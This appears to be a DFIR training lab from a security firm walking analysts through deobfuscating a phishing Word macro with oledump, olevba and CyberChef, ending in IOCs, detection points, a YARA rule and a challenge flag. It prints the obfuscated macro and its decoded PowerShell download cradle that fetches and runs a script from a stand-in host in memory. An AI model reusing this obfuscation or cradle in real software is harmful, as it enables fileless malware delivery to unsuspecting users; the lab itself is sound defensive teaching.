Synapse Consulting
Home SynapseRM / TPRM Services Pricing About BlogCareersLabsContact
EN · FR
Test access Book a demo
★★☆☆ Intermediate Blue Team DFIR VBA / Maldoc CyberChef

Challenge #01, Analysing a multi-layer VBA maldoc

A suspicious Word document arrived as an attachment in a colleague's mailbox. Your mission: analyse the macro, deobfuscate its four layers of camouflage, and extract the attacker's IOCs.

~60 minEstimated time
oledump · olevba · CyberChefTools
T1027 · T1059.001 · T1566.001MITRE ATT&CK
Isolated VMEnvironment
File invoice_Q4_2024.docm
SHA-256 18b6ac40ae4507c2ad040e21af8ca97c9511b5ccdd2381917de47364e103b4ef
Type Microsoft Word Macro-Enabled Document (OLE2 / OOXML)
Source lab1_macro.bas, import it into a blank .docm (instructions below)

📧 Scenario

📨

From: accounting@partner-invoice.com
Subject: Q4 2024 invoice – urgent validation before close
Attachment: invoice_Q4_2024.docm

"Hello, please find attached the Q4 invoice to validate before 5 pm. Enable macros to display the document correctly. Thank you."

A user opened the attachment and clicked “Enable content”. The EDR raised an alert on the WINWORD.EXE process. You recover the .docm file before the payload fully executes.

🎯 Your mission

🔧 Required tools

oletools (Didier Stevens)

bash
pip install oletools       # oledump.py, olevba, mraptor…

# Vérifier l'installation
oledump.py --version
olevba --version

Get the sample

⚠️

Analyse this file in an isolated VM with no network access. The ZIP is protected with the password infected (a malware-community convention) to avoid antivirus stripping and accidental opening.

  1. Download the challenge-01-sample.zip archive below.
  2. Extract it inside your VM with the password infected.
  3. Verify the hash: sha256sum invoice_Q4_2024.docm must match the SHA-256 above.
⬇ Download the sample (.zip)password: infectedMacro source (.bas)
Educational use only. The macro performs no malicious action; the execution lines are commented out. Analyse it in an isolated VM.

CyberChef

Available online: gchq.github.io/CyberChef or locally via Docker.

🔬 Step-by-step analysis

1

Triage & file identification

file · sha256sum · oledump

First, verify what you actually have in hand.

bash
file invoice_Q4_2024.docm
sha256sum invoice_Q4_2024.docm
output
invoice_Q4_2024.docm: Microsoft OOXML
<hash_sha256>  invoice_Q4_2024.docm
💡

.docm files are ZIP archives (OOXML). file or unzip -l confirms it. The VBA lives in word/vbaProject.bin, an OLE2 binary nested inside the ZIP.

List the OLE streams with oledump:

bash
python3 oledump.py invoice_Q4_2024.docm
output
  1:        114 '\x01CompObj'
  2:       4096 '\x05DocumentSummaryInformation'
  3:       4096 '\x05SummaryInformation'
  4:       2058 'VBA/VBA/Module1'   M
  5:       3421 'VBA/VBA/ThisDocument'  M
  6:          0 'VBA/VBA/dir'
  7:       6234 'VBA/VBA/_VBA_PROJECT'
  8:        534 'VBA/PROJECTwm'
🚩

Streams marked M contain VBA code. Module1 (stream 4) and ThisDocument (stream 5) are our targets. Start with stream 4.

2

Extracting the VBA code

oledump.py -v

Extract and decompress the VBA code from stream 4 with the -v flag:

bash
python3 oledump.py -s 4 -v invoice_Q4_2024.docm
Extracted VBA source (as the analyst sees it)
Private Sub Document_Open()
    Call Rn47Xs
End Sub

Private Sub Rn47Xs()
    Dim Xk9q As String
    Dim Yp4m As String
    Dim Zm8b As Variant
    Dim s    As String
    Dim idx  As Integer

    Xk9q = Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & _
           Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & _
           Chr(101) & Chr(108) & Chr(108)

    Yp4m = StrReverse("1sp.2egats/zyx.proc-live.etadpu//:ptth")

    Zm8b = Array(33, 47, 38, 98, 109, 33)
    s = ""
    For idx = 0 To UBound(Zm8b)
        s = s & Chr(Zm8b(idx) Xor 66)
    Next idx

    Dim b64 As String
    b64 = "SUVYKChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2Fk" & _
          "U3RyaW5nKCdodHRwOi8vdXBkYXRlLmV2aWwtY29ycC54eXovc3Rh" & _
          "Z2UyLnBzMScpKQ=="

    MsgBox "..."
End Sub
💡

Immediate observations: random variable names (Rn47Xs, Xk9q...), Chr() calls, StrReverse(), XOR, a long Base64 string. Classic red flags of an obfuscated maldoc.

3

Static analysis with olevba

olevba

olevba automatically flags suspicious patterns and IOCs:

bash
olevba invoice_Q4_2024.docm
olevba --decode invoice_Q4_2024.docm    # tente de décoder automatiquement
olevba, detection summary
+-------------+----------------+---------------------------------------------+
| Type        | Keyword        | Description                                 |
+-------------+----------------+---------------------------------------------+
| AutoExec    | Document_Open  | Runs when the Word document is opened       |
| Suspicious  | Chr            | May be used to obfuscate strings (×13)      |
| Suspicious  | StrReverse     | May be used to obfuscate strings            |
| Suspicious  | Xor            | May be used to obfuscate data               |
| Suspicious  | Shell          | May run an executable file or application   |
| Suspicious  | Base64 Strings | Long Base64 encoded string (possible code)  |
| IOC         | http://update.evil-corp.xyz/stage2.ps1      |
+-------------+----------------+---------------------------------------------+

olevba already extracted the C&C URL, but you need to understand how it was hidden to identify the technique and write a robust detection rule.

4

Manual deobfuscation, 4 layers

static analysis

Work through each layer by hand to document the exact technique.

LAYER 1 Chr() concatenation, ASCII reconstruction

Each Chr(n) returns the ASCII character for code n. By concatenating them, the attacker rebuilds a sensitive string that never appears in clear text in the source.

Xk9q = Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) &
       Chr(112) & Chr(116) & Chr(46) & Chr(83)  & Chr(104) &
       Chr(101) & Chr(108) & Chr(108)
Values: 87→W · 115→s · 99→c · 114→r · 105→i · 112→p · 116→t · 46→. · 83→S · 104→h · 101→e · 108→l · 108→l
Result: "Wscript.Shell"
⚠️

Wscript.Shell is the COM object that runs system commands from VBA. Its presence is a strong indicator of malicious intent.

LAYER 2 StrReverse, URL reversed character by character

StrReverse() returns the mirror of its argument. The C&C URL is stored backwards to dodge signatures based on URL patterns.

Yp4m = StrReverse("1sp.2egats/zyx.proc-live.etadpu//:ptth")
Reversed: "1sp.2egats/zyx.proc-live.etadpu//:ptth"
Result: "http://update.evil-corp.xyz/stage2.ps1"
🔬 Check in CyberChef
LAYER 3 XOR with key 0x42 (66), encoded byte array

Each byte in the array is XORed with the key 0x42 to hide execution primitives. To decode, reapply the same XOR (a symmetric operation).

Zm8b = Array(33, 47, 38, 98, 109, 33)
For idx = 0 To UBound(Zm8b)
    s = s & Chr(Zm8b(idx) Xor 66)
Next idx
Compute: 33⊕66=99='c' · 47⊕66=109='m' · 38⊕66=100='d' · 98⊕66=32=' ' · 109⊕66=47='/' · 33⊕66=99='c'
Result: "cmd /c"
💡

To find an unknown XOR key: compare the encoded bytes against known prefixes (cmd, pow, htt). Here 33 ⊕ 99 = 66 → key = 0x42.

🔬 Check in CyberChef
LAYER 4 Base64, encoded PowerShell command

The final payload is Base64-encoded to be passed to powershell -enc or decoded dynamically via [System.Convert]::FromBase64String().

b64 = "SUVYKChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2Fk" & _
      "U3RyaW5nKCdodHRwOi8vdXBkYXRlLmV2aWwtY29ycC54eXovc3Rh" & _
      "Z2UyLnBzMScpKQ=="
From B64: IEX((New-Object Net.WebClient).DownloadString('http://update.evil-corp.xyz/stage2.ps1'))
🔴

PowerShell download cradle. IEX = Invoke-Expression: runs the downloaded string as PowerShell code. Combined with DownloadString(), it loads malicious code straight into memory, without ever writing a file to disk (fileless).

🔬 Check in CyberChef
5

Reconstructing the kill chain

synthesis

Assembling the 4 layers reconstructs the command the malware would run:

bash (pseudo-code equivalent)
# Ce que le maldoc aurait exécuté si la macro était fonctionnelle :

# 1. Créer un objet Wscript.Shell
# 2. Lancer : cmd /c powershell -nop -w hidden -enc <b64>
# 3. PowerShell décode le B64 et exécute :
IEX((New-Object Net.WebClient).DownloadString(
    'http://update.evil-corp.xyz/stage2.ps1'
))
# 4. stage2.ps1 est téléchargé et exécuté en mémoire (fileless)
💡

Fileless malware: no PE file is written to disk. Detection relies on monitoring in-memory behaviour, network connections and PowerShell logging (Script Block Logging, Module Logging, AMSI).

6

IOC extraction & report

IOC · Reporting

Formalise the collected elements in an IOC table.

📌

Always defang URLs in reports: replace http with hxxp and dots in the domain with [.] to avoid accidental clicks.

Type Value (defanged) Description
URL C2 hxxp://update.evil-corp[.]xyz/stage2.ps1 Download cradle, stage 2
Command cmd /c powershell -nop -w hidden -enc … Execution via Wscript.Shell
Method IEX + Net.WebClient.DownloadString() PowerShell download cradle fileless
MITRE T1566.001 · T1059.001 · T1027 · T1105 Phishing / PS / Obfuscation / Ingress

🏁 Full solution

Did you find all 4 layers and every IOC? Compare with the answer key.

Flag : {M4cr0_0bf5c4t10n_1s_K3y}

Layer recap

LayerTechniqueHiddenDecoded
1 Chr() concatenation Chr(87)&Chr(115)… Wscript.Shell
2 StrReverse() 1sp.2egats/zyx… http://update.evil-corp.xyz/stage2.ps1
3 XOR 0x42 [33,47,38,98,109,33] cmd /c
4 Base64 UTF-8 SUVYKC…KQ== IEX((New-Object Net.WebClient).DownloadString(…))

Full kill chain

Email phishing (T1566.001)
  └─► Fichier .docm avec macro (T1204.002)
        └─► Document_Open → Rn47Xs()
              └─► CreateObject("Wscript.Shell")  ← Couche 1
                    └─► cmd /c powershell          ← Couche 3
                          └─► -enc [Base64]        ← Couche 4
                                └─► IEX(DownloadString(C2)) ← Couche 2
                                      └─► Exécution fileless en mémoire (T1059.001)

Detection, checkpoints

  • EDR: WINWORD.EXE → cmd.exe → powershell.exe (abnormal parent-child)
  • Network: outbound connection from WINWORD.EXE / powershell.exe
  • Event 4104 (PS Script Block): logging of the downloaded script
  • AMSI: with PowerShell >= 5, AMSI can scan the block before IEX
  • Proxy: PowerShell User-Agent request to evil-corp.xyz

🚀 Going further

YARA rule

yara
rule Maldoc_VBA_MultiLayer_Obfuscation
{
    meta:
        description = "VBA maldoc with Chr + StrReverse + XOR + Base64 obfuscation"
        author      = "Synapse Consulting"
        date        = "2024-12"
        reference   = "Lab Challenge #01"
        mitre       = "T1027, T1059.001"

    strings:
        $chr      = "Chr("     ascii
        $strrev   = "StrReverse" ascii
        $xor_kw   = " Xor "    ascii
        $b64_long = /[A-Za-z0-9+\/]{60,}={0,2}/ ascii
        $autorun1 = "Document_Open" ascii nocase
        $autorun2 = "AutoOpen"      ascii nocase

    condition:
        uint32(0) == 0xD0CF11E0   // Magic OLE2
        and 3 of ($chr, $strrev, $xor_kw, $b64_long)
        and 1 of ($autorun1, $autorun2)
}

Test with: yara -r lab_challenge01.yar invoice_Q4_2024.docm

Resources

oledump.py, Didier Stevens

The reference tool for analysing OLE2 documents. The blog holds dozens of similar labs.

oletools, Philippe Lagadec

Full suite: olevba, mraptor, rtfobj, oleid, olemeta…

CyberChef, GCHQ

The Swiss-army knife of decoding: Base64, XOR, From Charcode, Magic (auto-detect)…

MITRE T1027, Obfuscated Files

Documentation of the obfuscation techniques used in this challenge.

MalwareBazaar, abuse.ch

Real samples (tags: vba, maldoc). Always analyse in an isolated VM.

LOLBAS Project

Living-off-the-land: legitimate Windows tools abused, like Wscript.Shell.

Synapse Consulting

A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.

PLATFORM
SynapseRM / TPRM Pricing Test accessPresentation (PDF)
SERVICES
Governance Operational Training
COMPANY
About Contact Blog Labs Careers Privacy & cookies
Brussels, Belgium